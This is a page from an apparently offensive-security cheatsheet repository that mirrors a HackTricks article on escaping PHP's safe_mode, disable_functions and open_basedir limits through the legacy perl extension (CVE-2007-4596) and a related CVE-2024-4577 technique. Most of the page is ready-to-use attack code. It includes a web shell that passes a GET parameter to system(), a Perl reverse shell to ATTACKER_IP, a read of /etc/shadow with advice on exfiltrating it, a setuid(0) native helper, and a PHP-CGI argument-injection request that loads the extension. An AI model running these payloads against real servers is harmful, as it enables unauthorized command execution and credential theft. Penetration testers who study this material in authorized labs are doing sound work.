repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
disable-functions-bypass-php-perl-extension-safe-mode-bypass-exploit.mdMarkdown154 lines8.7 KiBsource raw download

title: "PHP Perl Extension Safemode Bypass Exploit" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

PHP Perl Extension Safe_mode Bypass Exploit#

Background#

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a Perl interpreter without enforcing PHP's safe_mode restrictions. Perl evaluation also operates outside controls such as PHP's disable_functions and open_basedir, so a loaded extension can expose command and filesystem primitives that PHP attempted to restrict. safe_mode disappeared in PHP 5.4; this technique is relevant primarily to old shared-hosting installations and deliberately vulnerable labs.[1][2]

Compatibility and Packaging Status#

Building a Testable Environment in 2025#

On-host build chain with shell and compiler access#

If phpize, a compiler toolchain, Perl development headers, and shell execution are available, you can build a matching perl.so on the host:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config="$(command -v php-config)"
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# loading requires a writable php.ini/scanned system INI or control of CGI arguments/service config

The module must match PHP's API, architecture, thread-safety mode, and linked Perl ABI. open_basedir is not a substitute for controlling extension loading, but an attacker still needs a configuration or process-start primitive that accepts extension=. The compilation flow mirrors the PHP manual for building PECL extensions.[3][8]

Original PoC (NetJackal)#

The original NetJackal PoC remains useful for confirming that the legacy extension responds to eval:[1][7]

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Modern Payload Enhancements#

1. Reverse shell over TCP#

The embedded interpreter can load IO::Socket even if /usr/bin/perl is blocked. This provides a basic interactive shell over pipes, not a fully allocated terminal/PTY:[2]

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Even with open_basedir#

Perl ignores PHP’s open_basedir, so you can read arbitrary files:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Pipe the output through IO::Socket::INET or Net::HTTP to exfiltrate data without touching PHP-managed descriptors.

3. Inline native helper compilation#

If Inline::C, a compiler, writable build directories, and headers exist, Perl can compile native helpers without PHP's ffi or pcntl. This does not inherently escalate privileges: setuid(0) succeeds only if the worker already has that privilege or a separate local privilege-escalation condition exists.

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration#

Treat embedded Perl as a living-off-the-land interpreter. For example, DBI can enumerate data sources exposed by an installed MySQL driver even if PHP's mysqli extension is missing:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

2024+ Abuse: Loading perl.so via PHP-CGI Argument Injection (CVE-2024-4577)#

On vulnerable Windows installations that expose PHP-CGI, CVE-2024-4577 can convert a soft hyphen to a command-line hyphen under affected Windows best-fit locales, allowing injected -d options. If—and only if—the attacker already has an ABI-, architecture-, and thread-safety-compatible Windows Perl extension DLL, this can load it even when dl() is disabled and php.ini is read-only.[5]

POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\php_perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>

If the DLL loads, the PHP worker embeds Perl before evaluating the request body, exposing the same out-of-policy Perl primitives. The initial fix shipped in PHP 8.1.29/8.2.20/8.3.8, and a later bypass was addressed as CVE-2024-8926 in PHP 8.1.30/8.2.24/8.3.12; defenders should run a currently supported, fully updated PHP release rather than stopping at the first fixed version.[6][9]

References#